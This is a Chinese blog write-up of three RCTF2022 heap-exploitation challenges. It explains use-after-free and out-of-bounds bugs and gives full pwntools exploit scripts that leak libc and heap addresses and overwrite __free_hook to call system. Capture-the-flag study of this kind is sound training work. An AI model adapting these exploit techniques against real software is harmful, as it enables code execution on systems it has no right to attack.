RCTF2022复现
196082 慢慢好起来

diary

利用分析

就是一道很正常的用户态堆题。在delete函数中存在UAF漏洞。

不过题目的逆向过程比较麻烦,加之我开始没注意到题目已经给了输入command的格式,如果注意到的话动态调试来逆向更为简单。

题目很简单,利用UAF使得tcacheunsorted bin中同时存在一个chunk,泄漏出libc地址。利用encrypt函数分配到unsorted bin中的chunk进而修改到tcache中chunk的fd指针指向__free_hook即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(idx, content):
r.recvuntil(b'input your test cmd:')
payload = 'add#1#1#1#1#1#{}#{}'.format(str(idx), content)
payload = bytes(payload, encoding='utf8')
r.sendline(payload)


def update(idx, content):
r.recvuntil(b'input your test cmd:')
payload = 'update#{}#{}'.format(str(idx), content)
payload = bytes(payload, encoding='utf8')
r.sendline(payload)


def show(idx):
r.recvuntil(b'input your test cmd:')
payload = 'show#{}'.format(str(idx))
payload = bytes(payload, encoding='utf8')
r.sendline(payload)


def delete(idx):
r.recvuntil(b'input your test cmd:')
payload = 'delete#{}'.format(str(idx))
payload = bytes(payload, encoding='utf8')
r.sendline(payload)


def encrypt(idx, offset, length):
r.recvuntil(b'input your test cmd:')
payload = 'encrypt#{}#{}#{}'.format(str(idx), str(offset), str(length))
payload = bytes(payload, encoding='utf8')
r.sendline(payload)


for i in range(11):
create(i, str(i))
for i in range(6):
delete(10-i)
delete(1)
show(3)
r.recvuntil(b'1.1.1 1:1:4\n')
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x13a30
print("heap_base:", hex(heap_base))
update(3, b'3')
delete(1)
show(2)
r.recvuntil(b'1.1.1 1:1:4\n')
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
print("libc_base:", hex(libc_base))

free_hook = libc_base+0x1eee48
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

r.recvuntil(b'input your test cmd:')
payload = b'update#0#' + flat(free_hook-4)
r.sendline(payload)
encrypt(0, 4, 6)
update(0, 'A'*(0x2c0-0x16))
create(40, '/bin/sh;')
r.recvuntil(b'input your test cmd:')
payload = b'add#1#1#1#1#1#41#'+flat(system_addr)
r.sendline(payload)
delete(4)
delete(3)

# gdb.attach(r)

r.interactive()

这道题我在下面这个位置这里破防了,一直无法double free我还以为是glibc中检查了又不报错,去翻了源码发现会有报错,这才看了题目这里居然有这样一个验证属于是有点儿恶心人了。

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL8 __fastcall sub_43CC(__int64 a1)
{
return memcmp(*(const void **)(a1 + 0x10), " ", 4uLL) == 0;
}

void __fastcall sub_4194(__int64 a1)
{
if ( *(_QWORD *)(a1 + 0x10) && (unsigned __int8)sub_43CC(a1) )
{
if ( *(_QWORD *)(a1 + 0x10) )
operator delete[](*(void **)(a1 + 0x10));
}
}

ez_atm

利用分析

题目难度依旧不是很大,但是我没想明白的是,一开始我可以gdb去调试服务端程序,但是后面却一直卡在accept了,有大佬知道的话可以留言告诉我一下怎么回事。也正是因为这道题目比较简单才可以在不调试的情况下直接打。

这道题逆向分析过程也不算很难,存在三处漏洞。

1
2
3
4
5
__int64 __fastcall stat_query(__int64 a1)
{
reply_message(1, a1);
return 1LL;
}

这个函数中返回的依旧是0x84个字节,所以就可以读取到返回地址也就是libc上的地址了,从而拿到libc地址。

1
2
3
4
5
__int64 query()
{
reply_message(1, user_list[user_id]);
return 2LL;
}

第二处跟第一处类似,不同的是这里是越界读取堆上的内容,那么可以泄漏出堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 cancellation()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 5; i > 0; --i )
{
if ( check_passwrod(user_id, &password) )
{
free((void *)user_list[user_id]);
user_id = -1;
reply_message(1, (__int64)"The target account has been cancelled.");
return 0LL;
}
if ( i != 1 )
reply_message(2, (__int64)"password error.Try again.");
get_message();
}
reply_message(
0,
(__int64)"The password has been entered incorrectly for more than 5 times, and your account has been frozen.");
*(_DWORD *)(user_list[user_id] + 0x2CLL) = 1;
return 0LL;
}

第三处则是这里在free之后没有清空指针引起的UAF。

所以利用思路就是先泄漏libc地址,再泄漏heap地址,最后利用UAF篡改tcache中chunk的fd到__free_hook即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *
from ctypes import cdll

elf = ELF('./pwn')
r = remote('0.0.0.0', 3339)
# r = process('./pwn')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def get_random(random):
if random <= 9:
return 0x30+random
if random == 10:
return 0x61
if random == 11:
return 0x62
if random == 12:
return 0x63
if random == 13:
return 0x64
if random == 14:
return 0x65
return 0x30


seed = u32(r.recv(4))
print(hex(seed))
objdll = cdll.LoadLibrary('./libc.so.6')
objdll.srand(seed)
uuid = 'yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy'
uuid = list(uuid)
for i in range(0x1d + 1):
if ord(uuid[i]) != 52 and ord(uuid[i]) != 45:
if ord(uuid[i]) == 0x78:
random_num = objdll.rand() % 15
uuid[i] = chr(get_random(random_num))
else:
random_num = objdll.rand() % 15
uuid[i] = chr(get_random(random_num & 3 | 8))
uuid = ''.join(uuid)
print(uuid)
r.send(uuid)
r.recv(0x84)


def query():
sleep(0.1)
r.sendline(b'query')


def new_account(account, password, money):
sleep(0.1)
payload = b''
payload += b'new_account'.ljust(0x10, b'\x00')
payload += password.ljust(0x8, b'\x00')
payload += account.ljust(0x20, b'\x00')
payload += bytes(str(money), encoding='utf8').ljust(0x4, b'\x00')
r.sendline(payload)
r.recv(0x84)


def cancellation(password):
sleep(0.1)
payload = b''
payload += b'cancellation'.ljust(0x10, b'\x00')
payload += password.ljust(0x8, b'\x00')
r.sendline(payload)
r.recv(0x84)


def login(account, password):
sleep(0.1)
payload = b''
payload += b'login'.ljust(0x10, b'\x00')
payload += password.ljust(0x8, b'\x00')
payload += account.ljust(0x20, b'\x00')
r.sendline(payload)
r.recv(0x84)


def update_pwd(old_password, new_password):
sleep(0.1)
payload = b'update_pwd'.ljust(0x10, b'\x00')
payload += new_password.ljust(8, b'\x00')
r.sendline(payload)
r.recvuntil(b'please input your pasword.')
r.recv(0x84 - len('please input your pasword.'))
payload = b'\x00'*0x10
payload += old_password.ljust(8, b'\x00')
r.sendline(payload)
r.recv(0x84)


new_account(b'dzhsb', b'wow', 0x100)

sleep(0.1)
r.sendline(b'exit_account')

new_account(b'dzz', b'zzz', 0x100)

sleep(0.1)
r.sendline(b'exit_account')

new_account(b'a', b'a', 0x100)

sleep(0.1)
r.sendline(b'stat_query')
r.recv(0x4+0x18)
libc_base = u64(r.recv(8)) - 0x21c87
print(hex(libc_base))
r.recv(0x84 - 0x24)

cancellation(b'a')
login(b'dzz', b'zzz')
cancellation(b'zzz')
login(b'dzhsb', b'wow')
query()
r.recv(0x40 + 4)
heap_addr = u64(r.recv(8))
tcache_addr = u64(r.recv(8))
print(hex(heap_addr))
print(hex(tcache_addr))

free_hook = libc_base + 0x3ed8e8
system_addr = libc_base + libc.symbols['system']

sleep(0.1)
r.sendline(b'exit_account')

login(flat(tcache_addr), flat(heap_addr))
update_pwd(flat(heap_addr), flat(free_hook))

sleep(0.1)
r.sendline(b'exit_account')

new_account(b'>&4', b'cat flag', 0x100)

sleep(0.1)
r.sendline(b'exit_account')
new_account(b'196082', flat(system_addr), 0x100)

sleep(0.1)
r.sendline(b'exit_account')
login(b'>&4', b'cat flag')
cancellation(b'cat flag')

r.interactive()

因为这是cs架构的缘故,没有直接与程序进行交互,所以无法使用system("/bin/sh");。考虑使用反弹shell但是需要长度过长了,最后只能用这种重定向的方法传递flag。

_money

利用分析

这道题目的逆向部分和上面题目很类似,细心的话可以很快发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 loan()
{
__m128i *v0; // rax
__int64 chunk; // rdx
int v2; // ecx
_DWORD *v3; // rax

if ( loan_idx > 10 )
{
my_puts("The loan has reached the upper limit of the system.");
return 2LL;
}
else if ( *(_DWORD *)(user_list[uid] + 0x34LL) )
{
my_puts("You still have a loan that has not been paid off, so you cannot continue to borrow.");
return 2LL;
}
else
{
my_puts("Please enter the loan amount (no more than 1 million).");
money = input_l();
if ( (unsigned int)money > 0xF4240 )
{
my_puts("Don't push your luck.");
}
else
{
my_puts("Please leave your comments.");
my_read((char *)(loan_money + 72LL * loan_idx + 0x20), 0x20);
v0 = (__m128i *)(loan_money + 72LL * loan_idx);
chunk = user_list[uid];
*v0 = _mm_loadu_si128((const __m128i *)(chunk + 8));
v0[1] = _mm_loadu_si128((const __m128i *)(chunk + 0x18));
LODWORD(chunk) = loan_idx;
v2 = money;
*(_QWORD *)(loan_money + 72LL * loan_idx + 0x40) = (unsigned int)money;
v3 = (_DWORD *)user_list[uid];
v3[10] += v2;
v3[12] += v2;
v3[14] = chunk;
v3[13] = 1;
loan_idx = chunk + 1;
my_puts("The application has been submitted. Please check it.");
}
return 2LL;
}
}

这个函数中的因为对loan_idx检查不正确导致越界读写。利用思路就是通过越界写修改size,使原本chunk的size变为0x460,释放后进入unsorted bin通过越界读读取libc地址。再通过同样的办法使第一个chunk进入到tcache中去,泄漏出堆地址。最后有两个指针指向同一个地址,理所当然修改tcache中chunk的fd指针即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from pwn import *

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def query():
r.recvuntil(b'your choice : ')
r.sendline(b'Query')


def new_account(account, password, money):
r.recvuntil(b'your choice : ')
r.sendline(b'new_account')
r.recvuntil(b'please input the account id')
r.sendline(account)
r.recvuntil(b'please input the password')
r.sendline(password)
r.recvuntil(b'please input the money')
r.sendline(bytes(str(money), encoding='utf8'))


def delete_account(password):
r.recvuntil(b'your choice : ')
r.sendline(b'Cancellation')
r.recvuntil(b'please enter the password')
r.sendline(password)


def update_info(new_password, old_password):
r.recvuntil(b'your choice : ')
r.sendline(b'Update_info')
r.recvuntil(b'please entet a new password')
r.sendline(new_password)
r.recvuntil(b'please input your password.')
r.sendline(old_password)


def loan_money(amount, comments):
r.recvuntil(b'your choice : ')
r.sendline(b'Loan_money')
r.recvuntil(b'Please enter the loan amount (no more than 1 million).')
r.sendline(bytes(str(amount), encoding='utf8'))
r.recvuntil(b'Please leave your comments.')
r.sendline(comments)


def repayment(amount):
r.recvuntil(b'your choice : ')
r.sendline(b'Repayment')
r.recvuntil(b'How much do you want to repay?')
r.sendline(bytes(str(amount), encoding='utf8'))


def show_all_loan():
r.recvuntil(b'your choice : ')
r.sendline(b"I'm vip!")


def exit_account():
r.recvuntil(b'your choice : ')
r.sendline(b'Exit_account')


def login(account, password):
r.recvuntil(b'your choice : ')
r.sendline(b'login')
r.recvuntil(b'please input the account id')
r.sendline(account)
r.recvuntil(b'please input the password')
r.sendline(password)


for i in range(10):
new_account(bytes(chr(0x61 + i), encoding='utf8')*0x20,
bytes(chr(0x31 + i), encoding='utf8'), 0x100)
exit_account()

for i in range(10):
login(bytes(chr(0x61 + i), encoding='utf8')*0x20,
bytes(chr(0x31 + i), encoding='utf8'))
loan_money(0x100, b'dzhsb')
exit_account()

new_account(flat(0, 0x461, [0]*2),
bytes(chr(0x31 + 10), encoding='utf8'), 0x100)
exit_account()

for i in range(4):
new_account(bytes(chr(0x61 + i + 11), encoding='utf8')*0x20,
bytes(chr(0x31 + i + 11), encoding='utf8'), 0xffffffff)
exit_account()

login(flat(0, 0x461, [0]*2), bytes(chr(0x31 + 10), encoding='utf8'))
loan_money(0x100, b'dzhsb')
exit_account()

login(flat(0, b'dzhsb\x00', b'a'*0x12), flat([0]))
delete_account(flat(0))

login(b'o'*0x20, b'?')
show_all_loan()
r.recvuntil(b'jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj')
r.recvuntil(b'Loan account :')
r.recv(0x10)

libc_base = u64(r.recv(8)) - 0x1ecbe0
print(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + 0x1eee48

exit_account()
new_account(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00', 0x100)

exit_account()
new_account(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7, 0x100)

exit_account()
new_account(b'fuck_man'+b'\x00'*(0x20-0x8), b'SB'+b'\x00'*0x6, 0x100)

exit_account()
login(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7)
delete_account(b'X'+b'\x00'*0x7)
login(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00')
delete_account(b'/bin/sh\x00')

login(b'n'*0x20, b'>'.ljust(8, b'\x00'))
show_all_loan()
r.recvuntil(b'jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj')
r.recvuntil(b'Loan account :')
r.recv(0x10)
heap_base = u64(r.recv(8)) - 0x5d0
print(hex(heap_base))

exit_account()
new_account(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00', 0x100)

exit_account()
new_account(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7, 0x100)

exit_account()
login(b'fuck_man'+b'\x00'*(0x20-0x8), b'SB'+b'\x00'*0x6)
delete_account(b'SB'+b'\x00'*0x6)

login(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7)
delete_account(b'X'+b'\x00'*0x7)

password = heap_base + 0x620
account = heap_base + 0x10

login(flat(account).ljust(0x20, b'\x00'), flat(password))
update_info(flat(free_hook, [0]*4), flat(password))

exit_account()
new_account(b'fuck_man'+b'\x00'*(0x20-0x8), b'SB'+b'\x00'*0x6, 0x100)

exit_account()
new_account(b'\x00'*0x20, flat(system_addr), 0x0)
exit_account()
login(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00')
delete_account(b'/bin/sh\x00')

# gdb.attach(r, 'b*$rebase(0x187C)')

r.interactive()
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量